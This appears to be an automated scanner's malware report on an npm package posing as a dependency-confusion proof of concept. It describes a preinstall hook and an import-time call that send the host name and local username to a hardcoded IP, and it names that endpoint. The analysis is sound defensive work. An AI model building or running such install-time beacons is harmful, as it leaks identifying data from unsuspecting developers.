BUGBOUNTY PoC — proves preinstall executes on npm install (Subsplash dep-confusion via @waves/button)

AI Security Review

scanned 11d ago · by lpm-firewall-ai

An automatic preinstall hook transmits host-identifying information to an external IP address. Importing the package main module repeats the transmission.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm installation runs preinstall; loading index.js also activates the request.

Impact

It exposes host and local-account identifiers to an external recipient without an install-time opt-in.

Mechanism

The code reads the hostname and local username, appends them to an HTTP query, and sends an HTTP GET request.

Attack narrative

Installation automatically runs a Node command that obtains the hostname and local username and sends them to an external IP address. The package entry module contains the same collection and send behavior, so importing it also exposes those identifiers.

AI rationale

Automatic install-time host-identifier transmission to an external IP is a concrete data-exfiltration behavior. The duplicated import-time request reinforces that this is active behavior rather than inert metadata.

Summary

Malicious code in @rutxploit-sec/waves-button-poc (npm)

Details

@rutxploit-sec/waves-button-poc@1.0.0 auto-executes host-identifier exfiltration on both `npm install` and `require`. package.json declares a preinstall script that runs `node -e` code which reads `os.hostname()` and `os.userInfo().username` and issues a plaintext HTTP GET to the hardcoded bare-IP endpoint http://80.225.217.8/poc/dep-confusion-proof.html, passing the package name, host, and user as query parameters. The declared main entry index.js repeats the same behavior at module top level, so any consumer that requires the package also beacons the same identifiers to the same IP. The scoped name and PoC framing are consistent with a dependency-confusion proof-of-concept, but the shipped code performs unauthenticated identifier collection from every installer regardless of intent, and the destination is an attacker-chosen bare IP over cleartext HTTP.

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The preinstall hook sends the machine hostname and local account name to an external IP address during npm installation.
The main module also collects and sends the hostname and account name when it is imported.
